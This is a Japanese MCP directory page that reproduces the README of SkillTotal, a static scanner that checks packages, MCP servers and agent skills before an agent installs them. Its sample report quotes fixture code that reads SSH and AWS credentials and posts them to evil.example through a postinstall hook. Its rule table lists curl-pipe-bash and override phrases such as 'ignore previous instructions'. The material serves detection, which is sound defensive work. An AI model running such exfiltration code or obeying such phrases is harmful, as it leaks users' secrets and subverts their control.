mcpField
S
SkillTotal

SkillTotal

ローカル
skilltotal.aiセキュリティ16今日更新

SkillTotal について

SkillTotal は、パッケージ、MCP サーバー、エージェントスキル、リポジトリを検査するローカル静的セキュリティスキャナーです。開発者やチームが導入前に確認でき、対象コードを実行せず、ファイル位置付きの検出結果を決定的なルールで示します。

主な機能

  1. 01npm、PyPI、サーバー、スキル、リポジトリのスキャン
  2. 02危険なコードや MCP 設定の検出
  3. 03検出結果の相関とリスクスコア算出
  4. 04ファイルと行番号付きの根拠
  5. 05CLI、プラグイン、GitHub Action から実行
  6. 06JSON と SARIF レポートの出力

活用シーン

  1. 01コーディングエージェントの導入前にパッケージを確認
  2. 02スキャン結果でプルリクエストを制御
  3. 03パッケージのバージョン間で新たなリスクを比較
  4. 04MCP 経由でエージェントにコンポーネントをスキャンさせる

MCP 対応

SkillTotal は stdio MCP サーバーとして動作し、コンポーネントのスキャン、バージョン比較、ルール一覧の読み取り専用ツールを提供します。Claude Code プラグインもこのサーバーを登録します。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"ai-skilltotal-skilltotal": {
"command": "uvx",
"args": [
"skilltotal"
]
}
}
}
起動コマンドuvx skilltotal

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
pypiskilltotal0.85.1

ツール

3

掲載時のツール一覧 · 今日に更新

パラメーター型必須説明
sourcestringはいスキャン対象:ローカルのディレクトリ/ファイル/アーカイブパス、git URL、npm:<name>[@version]、または pypi:<name>[==version]。

詳細

SkillTotal

コーディングエージェントがパッケージをインストールする前に確認しましょう。

npm および PyPI パッケージ、MCP サーバー、エージェントスキル、リポジトリを対象とする静的セキュリティスキャナーです。
お使いのマシン上で実行されます · スキャン対象のコードは実行しません · LLM は使用しません · 検出結果にはすべてファイル名と行番号が示されます

PyPI CI OpenSSF Scorecard GitHub Action Runtime dependencies: 0 License

クイックスタート · Claude Code プラグイン · GitHub Action · CLI · 検出内容 · オンラインで試す

コーディングエージェントがテスト用パッケージに npm install を実行します。SkillTotal プラグインがそれを拒否し、検出内容と該当するファイル名および行番号を示します

サニタイズ済みのテスト用パッケージに対する、プラグインの実際の応答です。実際のパッケージは表示されません。

クイックスタート

pipx install skilltotal
skilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive

コーディングエージェントがインストールするものを確認しましょう。 Claude Code 内で:

/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins

プルリクエストをチェックしましょう。 ワークフローにステップを 1 つ追加します (権限を含む完全な例):

      - uses: pezhik/[email protected]
        with: { source: ., fail-on: high }

何もインストールせずに試すには、www.skilltotal.ai で同じエンジンを実行できます。

検出する内容

npm および PyPI のパッケージ、MCP サーバー、エージェントスキルとプラグイン、Git リポジトリ(またはそのフォルダー一式)、ローカルフォルダー、アーカイブ、単一ファイルをスキャンし、以下を探します。

カテゴリ例
シェル実行subprocess.*、os.system、child_process.exec、シェル呼び出しに渡される curl … | bash
ファイルシステムアクセスopen、read_text/write_text、fs.readFile/writeFile
機密パス~/.ssh、~/.aws、.env、id_rsa、credentials、secrets
ネットワークへの送信requests、urllib、aiohttp、fetch、axios
インストール時の実行npm の preinstall/postinstall/prepare、setup.py のフック、コードをダウンロードまたはデコードして実行するライフサイクルスクリプト
動的コード実行eval、exec、compile、new Function、vm.runInNewContext
難読化デコードして実行するチェーン、base64 のデータ、16 進エスケープ、最小化
MCP のリスクマニフェスト、危険なツール(シェル/ファイルシステム/ネットワーク/認証情報)、サーバーコマンド
プロンプトの脅威「以前の指示を無視」「システムプロンプトを開示」「情報を外部に送信」などの文言

エージェント向けテキストに含まれる隠し Unicode 文字、埋め込まれたシークレット、自動承認された MCP ツール、認証情報の読み取り後にネットワークへ送信するようなデータフローも検出します。skilltotal rules list を実行するとすべてのルールが表示されます。コンポーネントの種類ごとのカバレッジと精度に関する注記は、docs/detection.md にあります。

レポートの例(このリポジトリのサニタイズ済みテストパッケージ)
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source    : tests/fixtures/malicious_npm_pkg
Verdict   : HIGH - High risk - review before installing
Risk      : HIGH  (score 70/100)

Findings (3 risk, 4 capability, not scored):
  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress
    Evidence:
      - index.js:7
        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
      - steal.js:3
        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
      - index.js:13
        fetch('http://evil.example/collect', { method: 'POST', body: key });
      ... and 1 more (all of them in --json)

  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload
    Evidence:
      - package.json:6
        "postinstall": "node steal.js"
  ...

短縮版です。完全版のレポートには、説明、推奨事項、機能、レビュー項目も表示されます。

SkillTotal を選ぶ理由

  • Claude Code プラグインは、エージェントが実行する前に、npx、npm install、pip install、claude mcp add の各コマンドをチェックします。
  • アカウント、API トークン、アップロード、テレメトリなしでお使いのマシン上で動作し、読み取ったコードを実行することもありません(ネットワークアクセス)。
  • LLM を使わず、正規表現と AST のマッチングで検出するため、同じ Python バージョンで同じ入力を与えると、常に同じ検出結果とスコアになります。検出結果にはすべてファイルと行が示され、再現率と適合率は公開されています。
  • ランタイム依存関係がない(Python 標準ライブラリのみ)ため、監査、ベンダリング、ネットワークから隔離された環境での実行が容易です。
  • レポートには、Cloud Security Alliance(CSA)のエージェント型脅威モデル、MAESTRO レイヤー、MITRE ATLAS の戦術に対応付けた振る舞い特性のフィンガープリントが含まれます。検出結果には OWASP Agentic Skills Top 10 の ID が付与されます。
  • オープンソース(Apache-2.0)であり、完全な静的解析レポートを永久に無料で利用できます。

仕組み

パイプライン:ソース、実行せずに取得、インデックス作成、スキャナー、相関とスコアリング、出力

SkillTotal はコンポーネント(浅い Git クローンまたはパッケージアーカイブ)を取得し、すべてのファイルを一度読み取ってスキャナーを実行します。検出結果を相関させ(認証情報の読み取りとネットワークへの送信があれば、情報流出経路として扱います)、結果を 0 から 100 でスコア化します。対象とするのはコンポーネント自体のファイルだけであり、ユーザー、会社、環境、デプロイ、実行時のコンテキストは対象外です。確認済みの検出結果にはすべて証拠(ファイル、行範囲、コードスニペット)が付随します。証拠に結び付けられないシグナルは needs_review に分類され、スコアには影響しません。シェルやネットワークへのアクセスなどの機能は報告されますが、スコアは 0 です。詳しくは docs/architecture.md と docs/scoring.md をご覧ください。

Claude Code プラグイン

インストールコマンドを実行する前に、このプラグインは指定された各パッケージをローカルでスキャンします。CLI と同じエンジンを使用します。npm、pnpm、yarn、bun、npx、pip、uv、uvx、pipx、poetry などによるインストール、claude mcp add(および Codex と Gemini の同等コマンド)、npx skills add を読み取ります。これらが sudo、bash -c、$(...)、PowerShell でラップされている場合も対象です。まず CLI をインストールしてください(Claude Code の起動場所で skilltotal --version が動作する必要があります)。その後、クイックスタートにある3つのコマンドを実行してください。

スキャン結果インストールの処理
悪意のある兆候拒否されます。エージェントには検出内容とファイル名・行番号が通知されます
高リスクまたは重大なリスク、類似したパッケージ名、あるいはチェックできなかったもの(カスタムレジストリ、実行時に組み立てられる名前、デコーダーの背後に隠されたコマンド、失敗したチェック、時間切れなど)Claude Code が確認を求めます
上記に該当するものがないインストールされます。エージェントにはチェックしたバージョンとスコアを記した1行のメモが表示されます
CI で確認が必要になるもの拒否されます。CI はフェイルクローズです(下記参照)

インストールコマンドごとに、チェックした内容、またはチェックできなかった内容とその理由を示すコンソール行が表示されます。CI(CI、GITLAB_CI、JENKINS_URL など、または SKILLTOTAL_STRICT=1)では確認に答える人がいないため、確認が必要になるものはすべて拒否されます。チェックできなかったインストールも、SKILLTOTAL_ALLOW_UNCHECKED にその種類が指定されていない限り拒否されます。

指定されたパッケージの依存関係、パッケージ名をインストールしないコマンド(npm ci、pip install -r、uv sync。コンソールにその旨が表示されます)、ディスク上のスクリプト、シェルプロファイルのエイリアスや関数、ダウンロードしたスクリプト(curl ... | bash。未チェックとして報告されます)、git clone で取得したリポジトリ、またはアカウント上ですでに実行中のコードはチェックしません(判定キャッシュや CLI を書き換える可能性があります)。このプラグインは静的チェックであり、サンドボックスではありません。信頼できないコードを扱う場合は、エージェントをコンテナ内で実行してください。また、/skilltotal:scan <target> コマンドを追加し、SkillTotal MCP サーバーを登録します。認識するコマンド、設定、キャッシュ、タイミング、チームへの展開、トラブルシューティングについては、docs/plugin.mdを参照してください。

CI / GitHub Action

CI で SkillTotal を実行し、検出結果をリポジトリの Security → Code scanning タブで確認できます。

# .github/workflows/skilltotal.yml
name: SkillTotal
on: [push, pull_request]
permissions:
  contents: read
  security-events: write   # required to upload SARIF to Code Scanning
  actions: read            # required for the SARIF upload in a private repository
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: pezhik/[email protected]
        with:
          source: .             # a path, a git URL, or an npm:/pypi:<name> spec
          fail-on: high         # fail on a high/critical risk finding (or 'none')

悪意のある兆候があれば、重大度を問わずジョブは失敗します。一方、シェル呼び出しやネットワークアクセスなどの機能だけでは失敗しません。ログには、どのゲートが作動したかと、その原因となった検出結果が記録されます。検出結果は SARIF としてアップロードされます。プライベートリポジトリで Code Scanning を利用するには GitHub Advanced Security が必要です。利用できない場合は、upload-sarif: 'false' を設定してください。comment-on-pr: 'true'(pull-requests: write と併用)を設定すると、概要コメント1件が最新の状態に保たれます。リポジトリの .skilltotal.toml が適用されるため、CODEOWNERS で管理してください(設定)。docs/ci.mdでは、すべての入力と出力、サードパーティパッケージの定期的な再チェック、pre-commit、GitLab CI、Jenkins、既存リポジトリへの展開について説明しています。Python 3.10 以降が動作するその他の環境では、バージョンを固定してインストールし、終了コード(0 は合格、2 はゲート作動、1 はスキャンを実行できなかった場合)で判定してください。

pip install skilltotal==0.85.0      # in a virtual environment outside the checkout
skilltotal scan . --fail-on high

CLI

skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./component --json            # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:[email protected] npm:[email protected] --fail-on-new high
skilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed
skilltotal guard --installed                  # check the MCP servers, plugins and skills your agents use
skilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list

scan 単独では、悪意があるという判定であっても、検出結果にかかわらず終了コード 0 になります。スクリプトでは skilltotal guard またはゲート(--fail-on)を使い、終了コードを確認してください。すべてのフラグ、終了コード、ゲートについてはCLI リファレンスで説明しています。

MCP サーバー

skilltotal mcp はエンジンを stdio MCP サーバーとして実行するため、エージェントはコンポーネントをインストールする前に確認できます。Claude Code プラグインには、すでに登録されています。プラグインを使わずに Claude Code で実行する場合:

claude mcp add skilltotal -- skilltotal mcp

Claude Desktop、Cursor、Windsurf、または mcpServers を読み込むクライアントの場合:

{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }

読み取り専用のツールが 3 つあります:scan_component(ローカルパス、git URL、npm: または pypi: ソース)、diff_components(2 つのバージョン間で変更された内容)、list_rules です。VS Code、uvx/npx 形式、パスのルールについては、docs/mcp-server.md をご覧ください。

インストール

Python 3.10 以降が必要です。実行時の依存関係はありません。git が必要なのは、リモート URL のスキャンと scan --staged の場合のみです。信頼できないディレクトリ内でのスキャンや、その他のインストールの詳細については、docs/cli.md をご覧ください。

pipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal       # into a virtual environment, or to use it as a library

npx を使う場合(uv、pipx、または skilltotal をインストールした Python 3.11 以降が必要です)、--package でリリースを指定してください。これにより、スキャン対象のリポジトリの node_modules/.bin にある skilltotal が npx によって実行されるのを防げます:

npx -y [email protected] -- skilltotal scan https://github.com/owner/repo

主張ではなく、測定に基づいています

  • 検出有効性: 作成して公開しているラベル付きコーパス(悪意のあるサンプル 148 件、良性のサンプル 111 件)での再現率と適合率です。コーパスはリリースごとに再生成され、CI によって最低基準として適用されます。独自のコーパスで完璧なスコアを達成することは、リグレッションの防止には役立ちますが、実環境のあらゆる攻撃について主張するものではありません。調査の OWASP クラス別集計の根拠となる各ルールにも、それぞれ固有のラベル付きサンプルがあり、レポートのルールカバレッジ表に記載されています。
  • MCP レジストリのスキャン結果 (2026 年 9 月、エンジン 0.49.0、ルールセット 56~59。これ以降のルール変更は反映されていません):公式レジストリ内の重複を除いた 17,535 件のコンポーネントのうち、15,341 件(87.5%)をスキャンしました。スキャンしたコンポーネントのうち、88.2%はエージェントにツールを公開し、64.8%はネットワークにアクセスでき、21.1%はシェルコマンドを実行できます。それでも、リスクスコアが低いものは 116 件を除くすべてです。機能単体ではスコアが 0 になるためです。このスキャンの前に、前回の実行で検出された悪意のある兆候をすべて手作業で確認し、誤検出を修正しました。 集計データ(JSON) · ハーネス。

制限事項

  • 2 MiB を超えるファイルは読み込まれません。 圧縮された JavaScript/TypeScript バンドルは一覧に表示されますが、npm がインストール時に実行するスクリプトを除き、解析されません。その場合、判定結果は「一部のみ解析済み」となります。
  • 依存関係はスキャンされません。 node_modules/、vendor/、仮想環境はスキップされます。
  • 実行時に取得または生成されるコードは解析されません。 バイナリとコンパイル済みアーティファクトも対象外です。
  • 言語。 Python と JavaScript/TypeScript では、シェル実行、ネットワークアクセス、ファイルアクセス、動的コードを解析します。シェル、PowerShell、バッチスクリプトは、ダウンロードして実行、デコードして実行、回避の慣用的なパターンをチェックします。その他の言語では、シークレット、機微なパス、隠し Unicode のチェックのみを行います。
  • デフォルトのゲートでは未読コードはカウントされません。 また、未読コードが通知なしに合格することはありません。ログにそのファイルが記載され(Not everything was analyzed: ...)、判定結果は「一部のみ解析済み」となり、--fail-on-unanalyzed を指定すると失敗します。対象となるのは、2 MiB を超えるファイル、圧縮バンドル、動作が解析されない言語のコード、ソースを伴わずに配布されるコンパイル済みコード(同じディレクトリに同名の .py または .java がない .pyc、.pyo、.class)です。
  • 検出は呼び出し/インポートのレベルで行われます。 機能が検出された場合、そのコードが存在することは示しますが、不正に使用されていることまでは示しません。SkillTotal は、サンドボックス、侵入テスト、手動でのコードレビューの代わりにはなりません。

2026 年 6 月に公開された 4 つのバイパスに対するこのエンジンの検出状況については、検出できるものをご覧ください。全リストはdocs/detection.mdにあります。

設定

フラグを繰り返し指定する代わりに、.skilltotal.toml をコミットできます。ゲートレベル、除外対象、無視するルール、ベースラインファイル、ルールごとの block/warn/ignore ポリシーを設定できます。個別の検出結果を許可するには、インラインコメント skilltotal:ignore[ST-ID] を追加します。上限とレジストリミラーは SKILLTOTAL_* 環境変数で設定します。CI ではスキャン対象リポジトリ独自の設定とマーカーが適用されるため、ブランチ保護を設定したうえで、.skilltotal.toml とベースラインを CODEOWNERS の管理対象にしてください(docs/configuration.md)。

ネットワークアクセス

ローカルフォルダー、アーカイブ、ファイルのスキャンでは、ネットワークリクエストは発生しません。SkillTotal がオンラインに接続するのは、次の場合のみです。

  • git URL: git clone --depth 1。github.com の場合は、クローンする対象のサイズを確認するため、先に GitHub REST API(api.github.com)を呼び出します。
  • npm:/pypi: ソース: パッケージのメタデータとアーカイブを registry.npmjs.org または PyPI(pypi.org とそのファイルホスト)、あるいは設定したミラー(SKILLTOTAL_NPM_REGISTRY、SKILLTOTAL_PYPI_INDEX)から取得します。
  • --provenance: パッケージのレジストリメタデータ
  • inventory、guard --installed、Claude Code プラグイン、MCP サーバー: チェックするパッケージのために、同じレジストリと git ホストに接続します。

テレメトリーは送信せず、アカウントも必要なく、LLM の呼び出しも行いません。

オープンソース版と SkillTotal Cloud

このエンジン(解析、すべての検出ルール、CLI)はオープンソースで、それ単体で完結しており、ローカルまたは CI で無料で実行できます。有料機能は、これを基盤とするサーバー側サービスとして SkillTotal Cloud で提供する予定です。これらの機能のコードはこのリポジトリには含まれません(docs/open-core.md)。

ドキュメント

セクション現在の場所
使い方、終了コード、ステータスバッジdocs/cli.md
プロジェクト設定、インライン抑制、環境変数、レジストリミラーdocs/configuration.md
アクションの入力と出力、pre-commit、その他の CI システム、展開docs/ci.md
MCP サーバーのクライアントとパスのルールdocs/mcp-server.md
検出対象、コンポーネントの種類別のカバレッジ、典型的な検出結果、判定、対象外、精度に関する注記docs/detection.md
マルウェアの類型と、それらを検出するルールdocs/detection-coverage.md
レポート出力、特性、OWASP とのマッピングdocs/report-schema.md
Claude Code プラグインのリファレンスdocs/plugin.md
アーキテクチャdocs/architecture.md

コントリビューション、セキュリティ、ライセンス

開発環境のセットアップ:pip install -e ".[dev]" を実行してから、pytest を実行します。検出ルールはコーパス優先で 追加します(docs/contributing-rules.md)。 誤検知を報告してください。課題として報告された誤検知は、オープンに修正されます。 セキュリティに関する問題:SECURITY.md。

Apache-2.0。NOTICEもご覧ください。

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。